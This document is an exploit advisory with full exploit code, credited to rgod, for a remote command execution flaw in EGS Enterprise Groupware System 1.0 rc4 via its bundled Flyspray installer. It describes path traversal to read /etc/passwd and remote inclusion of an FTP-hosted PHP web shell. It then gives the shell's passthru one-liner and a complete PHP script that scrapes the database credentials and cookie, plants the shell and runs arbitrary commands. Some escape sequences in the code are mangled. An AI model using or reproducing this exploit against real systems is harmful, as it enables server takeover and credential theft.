EGS Enterprise Groupware System 1.0 rc4 remote commands execution

Credit: rgod
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

--------EGS Enterprise Groupware System 1.0 rc4 (possibly prior versions)------- remote code execution ------------------------------------------------------------------------ -------- software: site: description: "EGS is an Open Source business system released under the GNU GPL that is sponsored and supported by an established commercial company - Senokian Solutions. Unlike other similar applicatiosn, EGS is not beholden to share holders or venture capitalists, and is developed by a team of keen Open Source programmers, with the support and sponsorship of Senokian Solutions." ------------------------------------------------------------------------ -------- i) EGS carries a vulnerable version of Flyspray installer ( ), you can access directly to it calling this url: http://[target]/[path_to_egs]/modules/projects/sql/install-0.9.7.php if setup has been executed once, a message says: "Setup has already been completed. If you really want to run it again, remove flyspray.conf.php" but if you go to http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=2 you have full access to installation procedure. Now, give a look to vulnerable code at lines 172-199: ... } elseif ($page == '3') { /*if (file_exists('../flyspray.conf.php')) { die('Setup has already been completed. If you really want to run it again, remove flyspray.conf.php'); };*/ $_SESSION['basedir'] = stripslashes($_POST['basedir']); $_SESSION['adodbpath'] = stripslashes($_POST['adodbpath']); $_SESSION['dbtype'] = $_POST['dbtype']; $_SESSION['dbname'] = $_POST['dbname']; $_SESSION['dbhost'] = $_POST['dbhost']; $_SESSION['dbuser'] = $_POST['dbuser']; $_SESSION['dbpass'] = $_POST['dbpass']; if ($_POST['basedir'] != '' && $_POST['adodbpath'] != '' && $_POST['dbhost'] != '' && $_POST['dbname'] != '' && $_POST['dbuser'] != '' && $_POST['dbpass'] != '' ) { // Now, check for the correct path to the file if (!file_exists($_SESSION['adodbpath'])) { die('The path to wasn't set correctly. <a href="?p=2">Go back and fix it up.</a>'); } ... and at lines 287-295: ... } elseif ($page == '4') { if (!isset($_SESSION['basedir'])) { Header("Location: install-0.9.7.php?p=1"); }; // Activate adodb include_once ($_SESSION['adodbpath']); ... at step 2 fill the adobpath field with a value like this: ../../../../../../../../../../etc/passwd proceed to step 3 and 4 and you will see at screen /etc/passwd file 'cause $_SESSION['adodbpath'] is assigned to it and it is included by the script so on PHP4 you can view/execute any file on local resources... on PHP5, because file_exists() function supports ftp locations, you submit a value like this for 'adodbpath': ftp://username:password@somehost/shell.php now, if shell.php have this code inside: <?php passthru($HTTP_GET_VARS[cmd]);?> you can launch commands on target system, poc: http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=4&cmd=ls %0-la ------------------------------------------------------------------------ -------- exploit: <?php # ---egs_10rc4_php5_incl_xpl.php 17.57 13/02/2006 # # # # EGS Enterprise Groupware System <=1.0 rc4 remote commands execution exploit # # coded by rgod # # site: # # # # -> works against PHP5 # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "Thus the energy developed by good fighting men is as the momentum # # of a round stone rolled down a mountain thousands of feet in height. So # # much on the subject of energy." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title> ******** EGS <= 1.0 rc4 remote commands execution ***** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> ******** EGS <= 1.0 rc4 remote commands execution ***** </p><p class="Stile6">a script by rgod at <a href=""target="_blank"></a> </p> <table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input type="text" name="host"> <span class="Stile5">* target ( </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /EGS/ or just / ) </span></p><p><input type="text" name="cmd"> <span class="Stile5"> * specify a command </span> </p> <p> <input type="text" name="FTP_LOCATION"><span class="Stile5"> * specify an ftp resource (ex: ftp://u sername:password (at) somehost (dot) com [email concealed]/shell.php) </span> </p><p> <input type="text" name="port"><span class="Stile5">specify a port other than 80 (default value) </span> </p><p><input type="text" name="proxy"><span class="Stile5"> send exp loit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".htmlentities($datai)."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION]; $cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy]; echo "<span class="Stile5">"; if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("r","",$host);$host=str_replace("n","",$host); $path=str_replace("r","",$path);$path=str_replace("n","",$path); # STEP 1 -> Call the Fiyspray 0.9.7 installation script... $packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=2 HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="User-Agent: Rumours-Agentrn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); $temp=explode("basedir" value="",$html); $temp2=explode(""",$temp[1]); $basedir=$temp2[0]; echo "basedir -> ".htmlentities($basedir)."<BR>"; $temp=explode("dbhost" value="",$html); $temp2=explode(""",$temp[1]); $DB_HOST=$temp2[0]; echo "DB HOST -> ".htmlentities($DB_HOST)."<BR>"; $temp=explode("dbname" value="",$html); $temp2=explode(""",$temp[1]); $DB_NAME=$temp2[0]; echo "DB NAME -> ".htmlentities($DB_NAME)."<BR>"; $temp=explode("dbuser" value="",$html); $temp2=explode(""",$temp[1]); $DB_USER=$temp2[0]; echo "DB USER -> ".htmlentities($DB_USER)."<BR>"; $temp=explode("dbpass" value="",$html); $temp2=explode(""",$temp[1]); $DB_PASS=$temp2[0]; echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."<BR>"; $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]); $COOKIE=$temp2[0]; echo "COOKIE -> ".htmlentities($COOKIE)."<BR>"; # STEP 2 -> submit the ftp resource with shell code inside... $data ="basedir=".urlencode($basedir); $data.="&adodbpath=".urlencode($FTP_LOCATION); $data.="&dbtype=pgsql"; $data.="&dbuser=".urlencode($DB_USER); $data.="&dbname=".urlencode($DB_NAME); $data.="&dbhost=".urlencode($DB_HOST); $data.="&dbpass=".urlencode($DB_PASS); $packet ="POST ".$p."modules/projects/sql/install-0.9.7.php?p=3 HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="User-Agent: Science Traveller International 1X/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Cookie: ".$COOKIE."rn"; $packet.="Connection: Closernrn"; $packet.=$data; show($packet); sendpacketii($packet); # STEP 3 -> Launch commands... $packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="User Agent: Googlebot 1.0rn"; $packet.="Cookie: ".$COOKIE."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Note: inside shell.php you need this code: <br>"; echo nl2br(htmlentities(" <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);phpinfo() ;passthru($HTTP_GET_VARS[cmd]);die; ?> "))."<br>"; echo "Fill * required fields, optionally specify a proxy...";} echo "</span>"; ?> ------------------------------------------------------------------------ -------- exploit code adjusted for flyspray 0.9.7: ------------------------------------------------------------------------ -------- rgod site: mail: rgod at autistici org original adivsory: ------------------------------------------------------------------------ --------

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